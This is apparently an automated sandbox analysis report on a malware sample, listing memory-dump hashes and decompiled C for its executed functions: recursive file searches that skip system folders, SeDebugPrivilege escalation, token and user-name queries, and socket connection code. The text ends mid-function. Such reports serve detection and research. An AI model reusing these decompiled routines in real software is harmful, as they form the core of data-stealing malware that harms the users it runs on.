Opcode ID: d37f5bab8aff10074304da26567c38a7f5ce27634f12ef567ed0ffcb3fcc8fe3
Instruction ID: 2bedb92c6305ae3d807a9fee4d6495eb5ba05f93b67c2fa17a6f21b3bf694c91
Opcode Fuzzy Hash: d37f5bab8aff10074304da26567c38a7f5ce27634f12ef567ed0ffcb3fcc8fe3
Instruction Fuzzy Hash: CCD05E32B180648B4A5AB17864111AEA3D797C98A8361007AC21ED7749DE319C6743D2

Uniqueness

Uniqueness Score: -1.00%

Function 07AC0438, Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e61309a9c4af1447d6ecddd3f38770993604347dd3654da87a02dad1304643
Instruction ID: 1e73af6d65c306d6530715d4ec748f2778abaa8406c19810b16ce8e0aa60480b
Opcode Fuzzy Hash: 41e61309a9c4af1447d6ecddd3f38770993604347dd3654da87a02dad1304643
Instruction Fuzzy Hash: 49D05EF1008280FECB13D7608E5084B3F619F0318170A849FD1699E1A3CA24842A9663

Uniqueness

Uniqueness Score: -1.00%

Function 07AC3D81, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc8c9303b2b14cd378006625d93b2508fb637f96e533be8e6ac29e01c438c34e
Instruction ID: 5aeaa5800c3c2d0b58d6b13e69f66540c7fbfc7ce22e63913f16484fe925d042
Opcode Fuzzy Hash: fc8c9303b2b14cd378006625d93b2508fb637f96e533be8e6ac29e01c438c34e
Instruction Fuzzy Hash: 17E01AB4904219CFCB50CFA4C8456ACBBB0FB49360F108359D565E32D4CF3019418F00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 017BE578, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: becca67d5e2e37cca21bcd5f2f42cf89cab85c91be737cdf67c7582f09723d22
Instruction ID: 941e6fd670cf3fba8eca89fae413fef8b6ceb07de8787d02a2c9b85ac3e647c7
Opcode Fuzzy Hash: becca67d5e2e37cca21bcd5f2f42cf89cab85c91be737cdf67c7582f09723d22
Instruction Fuzzy Hash: 1D12D8F141B7668BF330CF65E9881893BB1B745329F924209D2611FAD9D7B811CACF46

Uniqueness

Uniqueness Score: -1.00%

Function 07AC10C7, Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48491be5093d64fe8a4b129d227401b9ac33811b5a01204b79063943cdc187d0
Instruction ID: 88214bdc7e8b24e56f9cf476cf025ae70c94e3f6d79342be2e94d3419b9a0b01
Opcode Fuzzy Hash: 48491be5093d64fe8a4b129d227401b9ac33811b5a01204b79063943cdc187d0
Instruction Fuzzy Hash: 1FD10731D2064A8ACB10EFA4D9546EDB7B1FFD5300F509B9AD0097B214EB746AC9CF81

Uniqueness

Uniqueness Score: -1.00%

Function 017BC134, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8c48deab95eac1435c3bf26b823b523c1101d40589a399a6e268d1d8061996b
Instruction ID: b4a5eff1a3c7a8ad1f56ba737138b10bb389ee4f4415a4a6698f2f71f7ef7dbd
Opcode Fuzzy Hash: b8c48deab95eac1435c3bf26b823b523c1101d40589a399a6e268d1d8061996b
Instruction Fuzzy Hash: 13A16F32E0061A8FCF15DFA5C8846DEFBB2FF85304B15856AE905BB265DB31A945CB40

Uniqueness

Uniqueness Score: -1.00%

Function 07AC10D8, Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12338f516623507adfdea4f78949e1cc382091e27b534844e2adcbd256729d2
Instruction ID: 60331bbcc867383ce98e6d50473b0fe69c1e7971f383f39f92057a6e55c83505
Opcode Fuzzy Hash: b12338f516623507adfdea4f78949e1cc382091e27b534844e2adcbd256729d2
Instruction Fuzzy Hash: 23D1E53092065A8ACB10EFA4D954AEDB7B1FFD5300F509B9AD1097B214EB746AC9CF81

Uniqueness

Uniqueness Score: -1.00%

Function 017BE56A, Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.363085208.00000000017B0000.00000040.00000001.sdmp, Offset: 017B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8071370358a268ec56ced74f425ee8367d233470b51d20688c84ee7977d490ab
Instruction ID: 92248ea5f204eb1caac8ffca6ec374a5a6700ed183d9dcb915eb2437f3f336b3
Opcode Fuzzy Hash: 8071370358a268ec56ced74f425ee8367d233470b51d20688c84ee7977d490ab
Instruction Fuzzy Hash: 30C14EB181A7668BF720CF64E9881897B71FB85328F528309D1616FAD8D7B814CACF45

Uniqueness

Uniqueness Score: -1.00%

Function 07AC5F28, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f3a31cf44226d7b45905756bd417f7592a2a244c4b117fab9c4f9f9dcb1f77
Instruction ID: a68cc200de11d8213a2de58d1eb3837d3a84cd8a7dafbb9e1d39c8504a54a995
Opcode Fuzzy Hash: 90f3a31cf44226d7b45905756bd417f7592a2a244c4b117fab9c4f9f9dcb1f77
Instruction Fuzzy Hash: EA11FCB1D056089BEB08CFABD9401EEFBF7AFC9300F14C07AD924BA254DB3445428B65

Uniqueness

Uniqueness Score: -1.00%

Function 07AC5F38, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.369889414.0000000007AC0000.00000040.00000001.sdmp, Offset: 07AC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aa3dbba9e6e8837593c57ee54151b85b84a63a3016347059720250701a7487c
Instruction ID: 25275fc8d8dd4611e54f5ac0ff31214f7deb15563826a425f495dddf90e60e27
Opcode Fuzzy Hash: 8aa3dbba9e6e8837593c57ee54151b85b84a63a3016347059720250701a7487c
Instruction Fuzzy Hash: E211C8B1D15608ABEB0CCFABD9405AEFAF7AFC9300F14D039D929BA214EB3455118F55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852 Parent PID: 7108 SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exeCOMMON

Executed Functions

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00403D74(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				struct _WIN32_FIND_DATAW _v596;
				void* __ebx;
				void* _t35;
				int _t43;
				void* _t52;
				int _t56;
				intOrPtr _t60;
				void* _t66;
				void* _t73;
				void* _t74;
				WCHAR* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				WCHAR* _t102;
				void* _t103;
				void* _t104;

				L004067C4(0xa); // executed
				_t72 = 0;
				_t100 = 0x2e;
				_t106 = _a16;
				if(_a16 == 0) {
					L15:
					_push(_a8);
					_t98 = E00405B6F(0, L"%s\\%s", _a4);
					_t104 = _t103 + 0xc;
					if(_t98 == 0) {
						L30:
						__eflags = 0;
						return 0;
					}
					E004031E5(_t72, _t72, 0xd4f4acea, _t72, _t72);
					_t35 = FindFirstFileW(_t98,  &_v596); // executed
					_t73 = _t35;
					if(_t73 == 0xffffffff) {
						L29:
						E00402BAB(_t98);
						goto L30;
					}
					L17:
					while(1) {
						if(E00405D24( &(_v596.cFileName)) >= 3 || _v596.cFileName != _t100) {
							if(_v596.dwFileAttributes != 0x10) {
								L21:
								_push( &(_v596.cFileName));
								_t101 = E00405B6F(_t124, L"%s\\%s", _a4);
								_t104 = _t104 + 0xc;
								if(_t101 == 0) {
									goto L24;
								}
								if(_a12 == 0) {
									E00402BAB(_t98);
									E00403BEF(_t73);
									return _t101;
								}
								_a12(_t101);
								E00402BAB(_t101);
								goto L24;
							}
							_t124 = _a20;
							if(_a20 == 0) {
								goto L24;
							}
							goto L21;
						} else {
							L24:
							E004031E5(_t73, 0, 0xce4477cc, 0, 0);
							_t43 = FindNextFileW(_t73,  &_v596); // executed
							if(_t43 == 0) {
								E00403BEF(_t73); // executed
								goto L29;
							}
							_t100 = 0x2e;
							continue;
						}
					}
				}
				_t102 = E00405B6F(_t106, L"%s\\*", _a4);
				if(_t102 == 0) {
					L14:
					_t100 = 0x2e;
					goto L15;
				}
				E004031E5(0, 0, 0xd4f4acea, 0, 0);
				_t52 = FindFirstFileW(_t102,  &_v596); // executed
				_t74 = _t52;
				if(_t74 == 0xffffffff) {
					L13:
					E00402BAB(_t102);
					_t72 = 0;
					goto L14;
				} else {
					goto L3;
				}
				do {
					L3:
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
						goto L11;
					}
					if(_a24 == 0) {
						L7:
						if(E00405D24( &(_v596.cFileName)) >= 3) {
							L9:
							_push( &(_v596.cFileName));
							_t60 = E00405B6F(_t114, L"%s\\%s", _a4);
							_t103 = _t103 + 0xc;
							_a16 = _t60;
							_t115 = _t60;
							if(_t60 == 0) {
								goto L11;
							}
							_t99 = E00403D74(_t115, _t60, _a8, _a12, 1, 0, 1);
							E00402BAB(_a16);
							_t103 = _t103 + 0x1c;
							if(_t99 != 0) {
								E00402BAB(_t102);
								E00403BEF(_t74);
								return _t99;
							}
							goto L11;
						}
						_t66 = 0x2e;
						_t114 = _v596.cFileName - _t66;
						if(_v596.cFileName == _t66) {
							goto L11;
						}
						goto L9;
					}
					_push(L"Windows");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					_push(L"Program Files");
					if(E00405EFF( &(_v596.cFileName)) != 0) {
						goto L11;
					}
					goto L7;
					L11:
					E004031E5(_t74, 0, 0xce4477cc, 0, 0);
					_t56 = FindNextFileW(_t74,  &_v596); // executed
				} while (_t56 != 0);
				E00403BEF(_t74); // executed
				goto L13;
			}

0x00403d82
0x00403d88
0x00403d8c
0x00403d8d
0x00403d90
0x00403ea9
0x00403ea9
0x00403eb9
0x00403ebb
0x00403ec0
0x00403f95
0x00403f95
0x00000000
0x00403f95
0x00403ece
0x00403edb
0x00403edd
0x00403ee2
0x00403f8e
0x00403f8f
0x00000000
0x00403f94
0x00000000
0x00403ee8
0x00403ef8
0x00403f0a
0x00403f12
0x00403f18
0x00403f26
0x00403f28
0x00403f2d
0x00000000
0x00000000
0x00403f33
0x00403f76
0x00403f7c
0x00000000
0x00403f83
0x00403f36
0x00403f3a
0x00000000
0x00403f40
0x00403f0c
0x00403f10
0x00000000
0x00000000
0x00000000
0x00403f41
0x00403f41
0x00403f4b
0x00403f58
0x00403f5c
0x00403f88
0x00000000
0x00403f8d
0x00403f60
0x00000000
0x00403f60
0x00403ef8
0x00403ee8
0x00403da3
0x00403da9
0x00403ea6
0x00403ea8
0x00000000
0x00403ea8
0x00403db7
0x00403dc4
0x00403dc6
0x00403dcb
0x00403e9d
0x00403e9e
0x00403ea4
0x00000000
0x00000000
0x00000000
0x00000000
0x00403dd1
0x00403dd1
0x00403dd8
0x00000000
0x00000000
0x00403de2
0x00403e12
0x00403e22
0x00403e30
0x00403e36
0x00403e3f
0x00403e44
0x00403e47
0x00403e4a
0x00403e4c
0x00000000
0x00000000
0x00403e63
0x00403e65
0x00403e6a
0x00403e6f
0x00403f64
0x00403f6a
0x00000000
0x00403f71
0x00000000
0x00403e6f
0x00403e26
0x00403e27
0x00403e2e
0x00000000
0x00000000
0x00000000
0x00403e2e
0x00403dea
0x00403df9
0x00000000
0x00000000
0x00403e01
0x00403e10
0x00000000
0x00000000
0x00000000
0x00403e75
0x00403e7f
0x00403e8c
0x00403e8e
0x00403e97
0x00000000

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C
Program Files, xrefs: 00403E01
Windows, xrefs: 00403DEA
%s\*, xrefs: 00403D99

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 5c3a63efb33a22a8ff96110af9ee72305a9759e4f5ebb0566404c2b67a58fd17
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 5c3a63efb33a22a8ff96110af9ee72305a9759e4f5ebb0566404c2b67a58fd17
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Uniqueness

Uniqueness Score: -1.00%

Function 0040650A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040650A(void* __eax, void* __ebx, void* __eflags) {
				void* _v8;
				struct _LUID _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v32;
				intOrPtr* _t13;
				void* _t14;
				int _t16;
				int _t31;
				void* _t32;

				_t31 = 0;
				E004060AC();
				_t32 = __eax;
				_t13 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
				_t14 =  *_t13(_t32, 0x28,  &_v8);
				if(_t14 != 0) {
					E004031E5(__ebx, 9, 0xc6c3ecbb, 0, 0);
					_t16 = LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &_v16); // executed
					if(_t16 != 0) {
						_push(__ebx);
						_v32.Privileges = _v16.LowPart;
						_v32.PrivilegeCount = 1;
						_v24 = _v16.HighPart;
						_v20 = 2;
						E004031E5(1, 9, 0xc1642df2, 0, 0);
						AdjustTokenPrivileges(_v8, 0,  &_v32, 0x10, 0, 0); // executed
						_t31 =  !=  ? 1 : 0;
					}
					E00403C40(_v8);
					return _t31;
				}
				return _t14;
			}

0x00406512
0x00406514
0x00406522
0x00406524
0x00406530
0x00406534
0x0040653f
0x0040654e
0x00406552
0x0040655a
0x0040655f
0x0040656d
0x00406570
0x00406573
0x0040657a
0x00406589
0x0040658d
0x00406590
0x00406594
0x00000000
0x0040659a
0x004065a1

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Uniqueness

Uniqueness Score: -1.00%

Function 00402B7C, Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402B7C(long _a4) {
				void* _t4;
				void* _t7;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t4;
				if(_t7 != 0) {
					E00402B4E(_t7, 0, _a4);
				}
				return _t7;
			}

0x00402b8c
0x00402b92
0x00402b96
0x00402b9e
0x00402ba3
0x00402baa

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(WCHAR* _a4, DWORD* _a8) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 9, 0xd4449184, 0, 0);
				_t4 = GetUserNameW(_a4, _a8); // executed
				return _t4;
			}

0x00406077
0x00406082
0x00406085

APIs

GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction ID: cd86427636297e763c0a42ccb852711c5927781faf2e94d4e6bb5dc6023ef8f2
Opcode Fuzzy Hash: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction Fuzzy Hash: 93C04C711842087BFE116ED1DC06F483E199B45B59F104011B71C2C0D1D9F3A6516559

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED4, Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Uniqueness

Uniqueness Score: -1.00%

Function 004061C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004061C3(void* __eax, void* __ebx, void* __eflags) {
				int _v8;
				long _v12;
				int _v16;
				int _v20;
				char _v24;
				char _v28;
				char _v32;
				intOrPtr* _t25;
				int _t27;
				int _t30;
				int _t31;
				int _t36;
				int _t37;
				intOrPtr* _t39;
				int _t40;
				long _t44;
				intOrPtr* _t45;
				int _t46;
				void* _t48;
				int _t49;
				void* _t67;
				void* _t68;
				void* _t74;

				_t48 = __ebx;
				_t67 = 0;
				_v8 = 0;
				E00402BF2();
				_t68 = __eax;
				_t25 = E004031E5(__ebx, 9, 0xe87a9e93, 0, 0);
				_t2 =  &_v8; // 0x414449
				_push(1);
				_push(8);
				_push(_t68);
				if( *_t25() != 0) {
					L4:
					_t27 = E00402B7C(0x208);
					_v20 = _t27;
					__eflags = _t27;
					if(_t27 != 0) {
						E0040338C(_t27, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_push(_t48);
					_t49 = E00402B7C(0x208);
					__eflags = _t49;
					if(_t49 != 0) {
						E0040338C(_t49, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_v28 = 0x208;
					_v24 = 0x208;
					_t7 =  &_v8; // 0x414449
					_v12 = _t67;
					E004031E5(_t49, 9, 0xecae3497, _t67, _t67);
					_t30 = GetTokenInformation( *_t7, 1, _t67, _t67,  &_v12); // executed
					__eflags = _t30;
					if(_t30 == 0) {
						_t36 = E00402B7C(_v12);
						_v16 = _t36;
						__eflags = _t36;
						if(_t36 != 0) {
							_t14 =  &_v8; // 0x414449, executed
							_t37 = E00406086( *_t14, 1, _t36, _v12,  &_v12); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								_t39 = E004031E5(_t49, 9, 0xc0862e2b, _t67, _t67);
								_t40 =  *_t39(_t67,  *_v16, _v20,  &_v28, _t49,  &_v24,  &_v32); // executed
								__eflags = _t40;
								if(__eflags != 0) {
									_t67 = E00405B6F(__eflags, L"%s", _t49);
								}
							}
							E00402BAB(_v16);
						}
					}
					__eflags = _v8;
					if(_v8 != 0) {
						E00403C40(_v8); // executed
					}
					__eflags = _t49;
					if(_t49 != 0) {
						E00402BAB(_t49);
					}
					_t31 = _v20;
					__eflags = _t31;
					if(_t31 != 0) {
						E00402BAB(_t31);
					}
					return _t67;
				}
				_t44 = GetLastError();
				if(_t44 == 0x3f0) {
					E004060AC();
					_t45 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
					_t3 =  &_v8; // 0x414449
					_t46 =  *_t45(_t44, 8, _t3);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L2;
					}
					goto L4;
				}
				L2:
				return 0;
			}

0x004061c3
0x004061cb
0x004061cd
0x004061d0
0x004061de
0x004061e0
0x004061e5
0x004061e9
0x004061eb
0x004061ed
0x004061f2
0x0040622a
0x00406230
0x00406235
0x00406239
0x0040623b
0x00406244
0x00406249
0x00406249
0x0040624c
0x00406253
0x00406256
0x00406258
0x00406261
0x00406266
0x00406266
0x00406270
0x00406273
0x00406276
0x0040627b
0x0040627e
0x0040628c
0x0040628e
0x00406290
0x00406295
0x0040629a
0x0040629e
0x004062a0
0x004062ac
0x004062af
0x004062b7
0x004062b9
0x004062c9
0x004062e0
0x004062e2
0x004062e4
0x004062f3
0x004062f3
0x004062e4
0x004062f8
0x004062fd
0x004062a0
0x004062fe
0x00406302
0x00406307
0x0040630c
0x0040630d
0x0040630f
0x00406312
0x00406317
0x00406318
0x0040631c
0x0040631e
0x00406321
0x00406326
0x00000000
0x00406327
0x004061f4
0x004061ff
0x00406208
0x00406218
0x0040621d
0x00406224
0x00406226
0x00406228
0x00000000
0x00000000
0x00000000
0x00406228
0x00406201
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C

Strings

IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B
IDA, xrefs: 00406304

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wmemset$ErrorInformationLastToken
String ID: IDA$IDA
API String ID: 487585393-2020647798
Opcode ID: 361f5901e0b8fd221317340a43d44222897358287ed0cab1ee46ebfb6b6b92c4
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: 361f5901e0b8fd221317340a43d44222897358287ed0cab1ee46ebfb6b6b92c4
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Uniqueness

Uniqueness Score: -1.00%

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404E17(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v40;
				void* _t23;
				signed int _t24;
				signed int* _t25;
				signed int _t30;
				signed int _t31;
				signed int _t33;
				signed int _t41;
				void* _t42;
				signed int* _t43;

				_v8 = _v8 & 0x00000000;
				_t33 = 8;
				memset( &_v40, 0, _t33 << 2);
				_v32 = 1;
				_t23 =  &_v40;
				_v28 = 6;
				_v36 = 2;
				__imp__getaddrinfo(_a4, _a8, _t23,  &_v8); // executed
				if(_t23 == 0) {
					_t24 = E00402B7C(4);
					_t43 = _t24;
					_t31 = _t30 | 0xffffffff;
					 *_t43 = _t31;
					_t41 = _v8;
					__imp__#23( *((intOrPtr*)(_t41 + 4)),  *((intOrPtr*)(_t41 + 8)),  *((intOrPtr*)(_t41 + 0xc)), _t42, _t30); // executed
					 *_t43 = _t24;
					if(_t24 != _t31) {
						__imp__#4(_t24,  *((intOrPtr*)(_t41 + 0x18)),  *((intOrPtr*)(_t41 + 0x10))); // executed
						if(_t24 == _t31) {
							E00404DE5(_t24,  *_t43);
							 *_t43 = _t31;
						}
						__imp__freeaddrinfo(_v8);
						if( *_t43 != _t31) {
							_t25 = _t43;
							goto L10;
						} else {
							E00402BAB(_t43);
							L8:
							_t25 = 0;
							L10:
							return _t25;
						}
					}
					E00402BAB(_t43);
					__imp__freeaddrinfo(_v8);
					goto L8;
				}
				return 0;
			}

0x00404e1d
0x00404e26
0x00404e2a
0x00404e2f
0x00404e37
0x00404e3a
0x00404e45
0x00404e4f
0x00404e57
0x00404e61
0x00404e66
0x00404e68
0x00404e6c
0x00404e6e
0x00404e7a
0x00404e80
0x00404e84
0x00404e9f
0x00404ea7
0x00404eab
0x00404eb1
0x00404eb1
0x00404eb6
0x00404ebe
0x00404ecb
0x00000000
0x00404ec0
0x00404ec1
0x00404ec7
0x00404ec7
0x00404ecd
0x00000000
0x00404ece
0x00404ebe
0x00404e87
0x00404e90
0x00000000
0x00404e90
0x00000000

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: e22eb4597c528fad89aa2306bbf5fab64752e69decfa66c962aefb5bd8f8ada5
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: e22eb4597c528fad89aa2306bbf5fab64752e69decfa66c962aefb5bd8f8ada5
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Uniqueness

Uniqueness Score: -1.00%

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004040BB(void* __eflags, WCHAR* _a4, long* _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				char _v12;
				long _v16;
				void* __ebx;
				void* __edi;
				void* _t16;
				intOrPtr* _t25;
				long* _t28;
				void* _t30;
				int _t32;
				intOrPtr* _t33;
				void* _t35;
				void* _t42;
				intOrPtr _t43;
				long _t44;
				struct _OVERLAPPED* _t46;

				_t46 = 0;
				_t35 = 0;
				E004031E5(0, 0, 0xe9fabb88, 0, 0);
				_t16 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_t42 = _t16;
				_v8 = _t42;
				if(_t42 == 0xffffffff) {
					__eflags = _a12;
					if(_a12 == 0) {
						L10:
						return _t35;
					}
					_t43 = E00403C90(_t42, L".tmp", 0, 0, 0x1a);
					__eflags = _t43;
					if(_t43 == 0) {
						goto L10;
					}
					_push(0);
					__eflags = E00403C59(_a4, _t43);
					if(__eflags != 0) {
						_v8 = 0;
						_t46 = E004040BB(__eflags, _t43,  &_v8, 0);
						_push(_t43);
						 *_a8 = _v8;
						E00403D44();
					}
					E00402BAB(_t43);
					return _t46;
				}
				_t25 = E004031E5(0, 0, 0xf9435d1e, 0, 0);
				_t44 =  *_t25(_t42,  &_v12);
				if(_v12 != 0 || _t44 > 0x40000000) {
					L8:
					_t45 = _v8;
					goto L9;
				} else {
					_t28 = _a8;
